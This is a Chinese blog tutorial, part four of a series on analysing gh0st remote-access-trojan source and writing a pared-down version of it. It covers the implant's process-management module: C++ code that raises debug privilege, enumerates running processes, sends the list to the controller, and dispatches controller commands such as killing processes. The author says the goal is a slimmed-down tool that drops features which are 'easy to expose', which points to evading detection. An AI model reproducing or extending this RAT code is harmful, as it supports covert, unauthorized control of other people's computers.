gh0st源码分析与远控的编写(四)


    真的很久很久了,距离上一次写gh0st的文章(http://www.leavesongs.com/C/gh0st_3.html),过去有大半年了。总算有一个时间,我放下手里所有的活,能够继续把这份努力延续下去。

    以后对于gh0st的文章,就是一个一个模块的分析。原本gh0st就是由很多功能组成的一个强大的远控,但有些东西并不是功能越强大越好。我们到最后,会做一个gh0st的精简,留下最重要的功能,淘汰一些庞大而容易暴露的功能。所以,只有我们模块化了一个软件之后,我们才能更方便地去删除或增加一个功能,否则删除掉某个模块之后导致整个gh0st运行不了了,得不偿失。

    今天带来的是进程管理模块,这个模块文件是SystemManager.cpp。

    我们先来看被控端,一个获取当前进程列表的模块。调用的相关api是CreateToolhelp32Snapshot -> Process32First -> OpenProcess -> EnumProcessModules -> GetModuleFileNameEx -> Process32Next -> CloseHandle

    首先调用CreateToolhelp32Snapshot 创建当前进程列表的快照,再调用Process32First获得快照中第一个进程句柄,OpenProcess打开此进程,EnumProcessModules列举这个进程引用的模块(第一个模块就是进程自身,原本这个函数应该返回该进程所有模块的一个数组,但因为我只需要第一个模块,所以传入一个HMODULE型地址即可)。得到他自身的模块后,GetModuleFileNameEx获得其完整名称。此时就算获取到了进程列表中一个进程信息,再使用Process32Next获得下一个进程,重复以上步骤。

    最后当Process32Next获取不到进程后,就算将整个进程列表快照遍历完了,调用CloseHandle关闭快照句柄即可。

    流程图如下:

    gh0st4.png

    下面就是gh0st中,获取进程列表的代码:

01 LPBYTE CSystemManager::getProcessList()
02 {
03     HANDLE          hSnapshot = NULL;
04     HANDLE          hProcess = NULL;
05     HMODULE         hModules = NULL;
06     PROCESSENTRY32  pe32 = {0};
07     DWORD           cbNeeded;
08     char            strProcessName[MAX_PATH] = {0};
09     LPBYTE          lpBuffer = NULL;
10     DWORD           dwOffset = 0;
11     DWORD           dwLength = 0;
12     DebugPrivilege(SE_DEBUG_NAME, TRUE);     //提取权限
13     //创建系统快照
14     hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
15      
16     if(hSnapshot == INVALID_HANDLE_VALUE)
17         return NULL;
18      
19     pe32.dwSize = sizeof(PROCESSENTRY32);
20      
21     lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);       //暂时分配一下缓冲区
22      
23     lpBuffer[0] = TOKEN_PSLIST;        //注意这个是数据头 一会我们到主控端来搜索这个数据头
24     dwOffset = 1;
25      
26     if(Process32First(hSnapshot, &pe32))       //得到第一个进程顺便判断一下系统快照是否成功
27     {    
28         do
29         {     
30             //打开进程并返回句柄
31             hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID);
32             if ((pe32.th32ProcessID !=0 ) && (pe32.th32ProcessID != 4) && (pe32.th32ProcessID != 8))
33             {
34                 //枚举第一个模块句柄也就是自身
35                 EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded);
36                 //得到自身的完整名称
37                 GetModuleFileNameEx(hProcess, hModules, strProcessName, sizeof(strProcessName));
38                 //开始计算占用的缓冲区, 我们关心他的发送的数据结构
39                 // 此进程占用数据大小
40                 dwLength = sizeof(DWORD) + lstrlen(pe32.szExeFile) + lstrlen(strProcessName) + 2;
41                 // 缓冲区太小,再重新分配下
42                 if (LocalSize(lpBuffer) < (dwOffset + dwLength))
43                     lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE);
44                  
45                 //接下来三个memcpy就是向缓冲区里存放数据 数据结构是 进程ID+进程名+0+进程完整名+0
46                 //为什么加0 ?因为字符数据是以0 结尾的
47                 memcpy(lpBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD));
48                 dwOffset += sizeof(DWORD); 
49                  
50                 memcpy(lpBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1);
51                 dwOffset += lstrlen(pe32.szExeFile) + 1;
52                  
53                 memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) + 1);
54                 dwOffset += lstrlen(strProcessName) + 1;
55             }
56         }
57         while(Process32Next(hSnapshot, &pe32));      //继续得到下一个快照
58     }
59     //用lpbuffer获得整个缓冲区
60     lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);
61      
62     DebugPrivilege(SE_DEBUG_NAME, FALSE);  //还原提权
63     CloseHandle(hSnapshot);       //释放句柄
64     return lpBuffer;        //这个数据返回后就是发送了 之前讲过了,我们可以到主控端去搜索TOKEN_PSLIST了。
65 }

    代码基本上就跟我的流程图一样的过程,用一个do..while循环,遍历整个进程列表快照。其中调用的EnumProcessModules函数要注意,传入的第二个参数是一个HMODULE类型指针,而不是MSDN中说的数组。当然也可以理解成只含有一个HMODULE类型变量的数组,因为我只需要第一个模块信息就行了。

    获得了可执行文件名、详细名称后,gh0st用了一个结构:“进程ID+进程名+0+进程完整名+0”来保存他们。0相当于一个分隔符,将信息分割开。在主控端取进程信息的时候就直接取一个数字,两个字符串即可,因为字符串就是以0结尾。

    这个函数最前面调用了一个DebugPrivilege,这就是一个简单的提权函数,在很多地方都用到过,我就不多讲了。

    所以,最后getProcessList函数返回的就是一个包含所有进程信息的一个缓冲区,类似这样"01ieplorer.exe\0IE浏览器\002qq.exe\0腾讯QQ\0...."。

    SendProcessList调用了这个函数,并把获得的缓冲区发送给主控端:

01 void CSystemManager::SendProccessList()
02 {
03     UINT    nRet = -1;
04     LPBYTE  lpBuffer = getProcessList();      //得到进程列表的数据,一会转到  getProcessList定义
05     if (lpBuffer == NULL)
06         return;
07  
08     Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));   //得到发送得到的进程列表数据
09     LocalFree(lpBuffer);
10 }

    这就是被控端上获取所有进程信息并发送给主控端的一个过程。

    我之前文章里也说过,被控端中每一个模块类中,都有一个固定的方法,叫OnReceive,这是当主控端发送来的命令,会最终被传递给这个方法。这个方法就来根据命令调度需要执行的功能。

    所以,SystemManager类也有这个方法:

01 void CSystemManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
02 {
03     SwitchInputDesktop();
04     switch (lpBuffer[0])
05     {
06     case COMMAND_PSLIST:
07         SendProcessList();
08         break;
09     case COMMAND_WSLIST:
10         //SendWindowsList();
11         break;
12     case COMMAND_DIALUPASS:
13         //SendDialupassList();
14         break;
15     case COMMAND_KILLPROCESS:       //这里是进程管理接收数据的函数了 在这里判断是那个命令,到KillProcess定义
16         KillProcess((LPBYTE)lpBuffer + 1, nSize - 1);
17     default:
18         break;
19     }
20 }
    lpBuffer[0]就是命令,我们可以看到,如果它的值是COMMAND_PSLIST的话,就会执行SendProcessList,也就是发送所有进程列表,如果是COMMAND_KILLPROCESS,那就就会执行KillProcess,结束某个进程。


    另外还有两个命令,他们是窗口管理和拨号管理的功能。实际上,这两个功能并不太需要,可以直接精简掉。我们暂时将之注释。

    下次我会说到,主控端界面的一些编写(主要是tab标签页的制作),和接收来自被控端的数据,并显示到页面上。最终完成这个进程管理模块。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值